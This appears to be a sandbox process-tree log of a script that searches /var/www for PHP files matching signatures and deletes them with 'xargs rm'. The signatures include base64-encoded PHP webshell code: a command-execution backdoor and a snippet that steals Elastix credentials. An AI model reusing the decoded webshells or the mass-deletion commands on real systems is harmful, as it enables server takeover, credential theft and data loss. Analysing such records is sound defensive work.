/bin/grepgrep -Il Emad__Was__Here4⤵PID:859
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:856
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:858
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:860
-
-
/usr/bin/xargsxargs -0 grep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi83⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:861 -
/usr/local/sbin/grepgrep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi84⤵
- System Network Configuration Discovery
PID:863
-
-
/usr/local/bin/grepgrep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi84⤵
- System Network Configuration Discovery
PID:863
-
-
/usr/sbin/grepgrep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi84⤵
- System Network Configuration Discovery
PID:863
-
-
/usr/bin/grepgrep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi84⤵
- System Network Configuration Discovery
PID:863
-
-
/sbin/grepgrep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi84⤵
- System Network Configuration Discovery
PID:863
-
-
/bin/grepgrep -Il CnNlc3Npb25fc3RhcnQoKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnbWQ1J10pICYmIG1kNSgkX1JFUVVFU1RbJ21kNSddKSA9PT0gJzc1ODY4ZTA4ZGNhNzE4YTVlYmRhYzdmNGU3NjJhODRiJykgewogICAgJF9TRVNTSU9OWydNQUZJQSddID0gJ2xvZ2dlZCc7Cn0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ01BRklBJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIi84⤵
- System Network Configuration Discovery
PID:863
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:862
-
-
/usr/bin/xargsxargs -0 grep -Il a62e7e1e4dfd211e99796aebb24dd8723⤵PID:866
-
/usr/local/sbin/grepgrep -Il a62e7e1e4dfd211e99796aebb24dd8724⤵PID:869
-
-
/usr/local/bin/grepgrep -Il a62e7e1e4dfd211e99796aebb24dd8724⤵PID:869
-
-
/usr/sbin/grepgrep -Il a62e7e1e4dfd211e99796aebb24dd8724⤵PID:869
-
-
/usr/bin/grepgrep -Il a62e7e1e4dfd211e99796aebb24dd8724⤵PID:869
-
-
/sbin/grepgrep -Il a62e7e1e4dfd211e99796aebb24dd8724⤵PID:869
-
-
/bin/grepgrep -Il a62e7e1e4dfd211e99796aebb24dd8724⤵PID:869
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:865
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:867
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:870
-
-
/usr/bin/xargsxargs -0 grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj83⤵PID:871
-
/usr/local/sbin/grepgrep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj84⤵PID:874
-
-
/usr/local/bin/grepgrep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj84⤵PID:874
-
-
/usr/sbin/grepgrep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj84⤵PID:874
-
-
/usr/bin/grepgrep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj84⤵PID:874
-
-
/sbin/grepgrep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj84⤵PID:874
-
-
/bin/grepgrep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj84⤵PID:874
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:872
-
-
/usr/bin/xargsxargs -0 grep -Il 4ce19905aac5c1a58fc464e5bc1ce0273⤵PID:876
-
/usr/local/sbin/grepgrep -Il 4ce19905aac5c1a58fc464e5bc1ce0274⤵PID:879
-
-
/usr/local/bin/grepgrep -Il 4ce19905aac5c1a58fc464e5bc1ce0274⤵PID:879
-
-
/usr/sbin/grepgrep -Il 4ce19905aac5c1a58fc464e5bc1ce0274⤵PID:879
-
-
/usr/bin/grepgrep -Il 4ce19905aac5c1a58fc464e5bc1ce0274⤵PID:879
-
-
/sbin/grepgrep -Il 4ce19905aac5c1a58fc464e5bc1ce0274⤵PID:879
-
-
/bin/grepgrep -Il 4ce19905aac5c1a58fc464e5bc1ce0274⤵PID:879
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:875
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:877
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:880
-
-
/usr/bin/xargsxargs -0 grep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl3⤵PID:881
-
/usr/local/sbin/grepgrep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl4⤵PID:884
-
-
/usr/local/bin/grepgrep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl4⤵PID:884
-
-
/usr/sbin/grepgrep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl4⤵PID:884
-
-
/usr/bin/grepgrep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl4⤵PID:884
-
-
/sbin/grepgrep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl4⤵PID:884
-
-
/bin/grepgrep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl4⤵PID:884
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:882
-
-
/usr/bin/xargsxargs -0 grep -Il 212.83.160.703⤵PID:887
-
/usr/local/sbin/grepgrep -Il 212.83.160.704⤵PID:889
-
-
/usr/local/bin/grepgrep -Il 212.83.160.704⤵PID:889
-
-
/usr/sbin/grepgrep -Il 212.83.160.704⤵PID:889
-
-
/usr/bin/grepgrep -Il 212.83.160.704⤵PID:889
-
-
/sbin/grepgrep -Il 212.83.160.704⤵PID:889
-
-
/bin/grepgrep -Il 212.83.160.704⤵PID:889
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:886
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:888
-
-
/usr/bin/xargsxargs -0 grep -Il atmin3⤵PID:892
-
/usr/local/sbin/grepgrep -Il atmin4⤵PID:895
-
-
/usr/local/bin/grepgrep -Il atmin4⤵PID:895
-
-
/usr/sbin/grepgrep -Il atmin4⤵PID:895
-
-
/usr/bin/grepgrep -Il atmin4⤵PID:895
-
-
/sbin/grepgrep -Il atmin4⤵PID:895
-
-
/bin/grepgrep -Il atmin4⤵PID:895
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:891
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:893
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:896
-
-
/usr/bin/xargsxargs -0 grep -Il b1a1d57978bc7bcb8bd47b035d4e8025d4ef7ddbc4c2f413fb10f4ea0e3205662f61a501d7e4b49dd864b52f2916b815991c4ead7f07e13c67155e90df07485507409f85ebda6a7004e00424903c83⤵PID:897
-
/usr/local/sbin/grepgrep -Il b1a1d57978bc7bcb8bd47b035d4e8025d4ef7ddbc4c2f413fb10f4ea0e3205662f61a501d7e4b49dd864b52f2916b815991c4ead7f07e13c67155e90df07485507409f85ebda6a7004e00424903c84⤵PID:900
-
-
/usr/local/bin/grepgrep -Il b1a1d57978bc7bcb8bd47b035d4e8025d4ef7ddbc4c2f413fb10f4ea0e3205662f61a501d7e4b49dd864b52f2916b815991c4ead7f07e13c67155e90df07485507409f85ebda6a7004e00424903c84⤵PID:900
-
-
/usr/sbin/grepgrep -Il b1a1d57978bc7bcb8bd47b035d4e8025d4ef7ddbc4c2f413fb10f4ea0e3205662f61a501d7e4b49dd864b52f2916b815991c4ead7f07e13c67155e90df07485507409f85ebda6a7004e00424903c84⤵PID:900
-
-
/usr/bin/grepgrep -Il b1a1d57978bc7bcb8bd47b035d4e8025d4ef7ddbc4c2f413fb10f4ea0e3205662f61a501d7e4b49dd864b52f2916b815991c4ead7f07e13c67155e90df07485507409f85ebda6a7004e00424903c84⤵PID:900
-
-
/sbin/grepgrep -Il b1a1d57978bc7bcb8bd47b035d4e8025d4ef7ddbc4c2f413fb10f4ea0e3205662f61a501d7e4b49dd864b52f2916b815991c4ead7f07e13c67155e90df07485507409f85ebda6a7004e00424903c84⤵PID:900
-
-
/bin/grepgrep -Il b1a1d57978bc7bcb8bd47b035d4e8025d4ef7ddbc4c2f413fb10f4ea0e3205662f61a501d7e4b49dd864b52f2916b815991c4ead7f07e13c67155e90df07485507409f85ebda6a7004e00424903c84⤵PID:900
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:898
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:902
-
-
/usr/bin/xargsxargs -0 grep -Il 6e7e3be4cff4ebb7619790b6da7885123fc9abdddafe22223126a9cf306b50808deb80a2c07a8e0e90a06cdaf81f97d6fccd30f51f02114f704ca232c85a80668a938777389409a97f61b9c1352553⤵PID:903
-
/usr/local/sbin/grepgrep -Il 6e7e3be4cff4ebb7619790b6da7885123fc9abdddafe22223126a9cf306b50808deb80a2c07a8e0e90a06cdaf81f97d6fccd30f51f02114f704ca232c85a80668a938777389409a97f61b9c1352554⤵PID:905
-
-
/usr/local/bin/grepgrep -Il 6e7e3be4cff4ebb7619790b6da7885123fc9abdddafe22223126a9cf306b50808deb80a2c07a8e0e90a06cdaf81f97d6fccd30f51f02114f704ca232c85a80668a938777389409a97f61b9c1352554⤵PID:905
-
-
/usr/sbin/grepgrep -Il 6e7e3be4cff4ebb7619790b6da7885123fc9abdddafe22223126a9cf306b50808deb80a2c07a8e0e90a06cdaf81f97d6fccd30f51f02114f704ca232c85a80668a938777389409a97f61b9c1352554⤵PID:905
-
-
/usr/bin/grepgrep -Il 6e7e3be4cff4ebb7619790b6da7885123fc9abdddafe22223126a9cf306b50808deb80a2c07a8e0e90a06cdaf81f97d6fccd30f51f02114f704ca232c85a80668a938777389409a97f61b9c1352554⤵PID:905
-
-
/sbin/grepgrep -Il 6e7e3be4cff4ebb7619790b6da7885123fc9abdddafe22223126a9cf306b50808deb80a2c07a8e0e90a06cdaf81f97d6fccd30f51f02114f704ca232c85a80668a938777389409a97f61b9c1352554⤵PID:905
-
-
/bin/grepgrep -Il 6e7e3be4cff4ebb7619790b6da7885123fc9abdddafe22223126a9cf306b50808deb80a2c07a8e0e90a06cdaf81f97d6fccd30f51f02114f704ca232c85a80668a938777389409a97f61b9c1352554⤵PID:905
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:904
-
-
/usr/bin/xargsxargs -0 grep -Il 18930f625a916dea7e78b52450a7665c2cdb3f27a569c8a4d78203⤵PID:908
-
/usr/local/sbin/grepgrep -Il 18930f625a916dea7e78b52450a7665c2cdb3f27a569c8a4d78204⤵PID:911
-
-
/usr/local/bin/grepgrep -Il 18930f625a916dea7e78b52450a7665c2cdb3f27a569c8a4d78204⤵PID:911
-
-
/usr/sbin/grepgrep -Il 18930f625a916dea7e78b52450a7665c2cdb3f27a569c8a4d78204⤵PID:911
-
-
/usr/bin/grepgrep -Il 18930f625a916dea7e78b52450a7665c2cdb3f27a569c8a4d78204⤵PID:911
-
-
/sbin/grepgrep -Il 18930f625a916dea7e78b52450a7665c2cdb3f27a569c8a4d78204⤵PID:911
-
-
/bin/grepgrep -Il 18930f625a916dea7e78b52450a7665c2cdb3f27a569c8a4d78204⤵PID:911
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:907
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:909
-
-
/usr/bin/xargsxargs -0 grep -Il 08f4462d96f0ddb58d1c9397e15318ff288b0d04dfd81a4fd0fb83⤵PID:913
-
/usr/local/sbin/grepgrep -Il 08f4462d96f0ddb58d1c9397e15318ff288b0d04dfd81a4fd0fb84⤵PID:916
-
-
/usr/local/bin/grepgrep -Il 08f4462d96f0ddb58d1c9397e15318ff288b0d04dfd81a4fd0fb84⤵PID:916
-
-
/usr/sbin/grepgrep -Il 08f4462d96f0ddb58d1c9397e15318ff288b0d04dfd81a4fd0fb84⤵PID:916
-
-
/usr/bin/grepgrep -Il 08f4462d96f0ddb58d1c9397e15318ff288b0d04dfd81a4fd0fb84⤵PID:916
-
-
/sbin/grepgrep -Il 08f4462d96f0ddb58d1c9397e15318ff288b0d04dfd81a4fd0fb84⤵PID:916
-
-
/bin/grepgrep -Il 08f4462d96f0ddb58d1c9397e15318ff288b0d04dfd81a4fd0fb84⤵PID:916
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:912
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:914
-
-
/usr/bin/xargsxargs -0 grep -Il a5xdnceO5ABpcvf9FYKgUlgEht5O0IIm6L0najRO7z359RM5jdmoNpVVcXLSvGrvOZERRP3⤵PID:919
-
/usr/local/sbin/grepgrep -Il a5xdnceO5ABpcvf9FYKgUlgEht5O0IIm6L0najRO7z359RM5jdmoNpVVcXLSvGrvOZERRP4⤵PID:921
-
-
/usr/local/bin/grepgrep -Il a5xdnceO5ABpcvf9FYKgUlgEht5O0IIm6L0najRO7z359RM5jdmoNpVVcXLSvGrvOZERRP4⤵PID:921
-
-
/usr/sbin/grepgrep -Il a5xdnceO5ABpcvf9FYKgUlgEht5O0IIm6L0najRO7z359RM5jdmoNpVVcXLSvGrvOZERRP4⤵PID:921
-
-
/usr/bin/grepgrep -Il a5xdnceO5ABpcvf9FYKgUlgEht5O0IIm6L0najRO7z359RM5jdmoNpVVcXLSvGrvOZERRP4⤵PID:921
-
-
/sbin/grepgrep -Il a5xdnceO5ABpcvf9FYKgUlgEht5O0IIm6L0najRO7z359RM5jdmoNpVVcXLSvGrvOZERRP4⤵PID:921
-
-
/bin/grepgrep -Il a5xdnceO5ABpcvf9FYKgUlgEht5O0IIm6L0najRO7z359RM5jdmoNpVVcXLSvGrvOZERRP4⤵PID:921
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:918
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:920
-
-
/usr/bin/xargsxargs -0 grep -Il 3f88e188f7b13511f2691811b28aec22fdc06b09abbb6342c93c13⤵PID:924
-
/usr/local/sbin/grepgrep -Il 3f88e188f7b13511f2691811b28aec22fdc06b09abbb6342c93c14⤵PID:927
-
-
/usr/local/bin/grepgrep -Il 3f88e188f7b13511f2691811b28aec22fdc06b09abbb6342c93c14⤵PID:927
-
-
/usr/sbin/grepgrep -Il 3f88e188f7b13511f2691811b28aec22fdc06b09abbb6342c93c14⤵PID:927
-
-
/usr/bin/grepgrep -Il 3f88e188f7b13511f2691811b28aec22fdc06b09abbb6342c93c14⤵PID:927
-
-
/sbin/grepgrep -Il 3f88e188f7b13511f2691811b28aec22fdc06b09abbb6342c93c14⤵PID:927
-
-
/bin/grepgrep -Il 3f88e188f7b13511f2691811b28aec22fdc06b09abbb6342c93c14⤵PID:927
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
- Reads runtime system information
PID:923
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:925
-
-
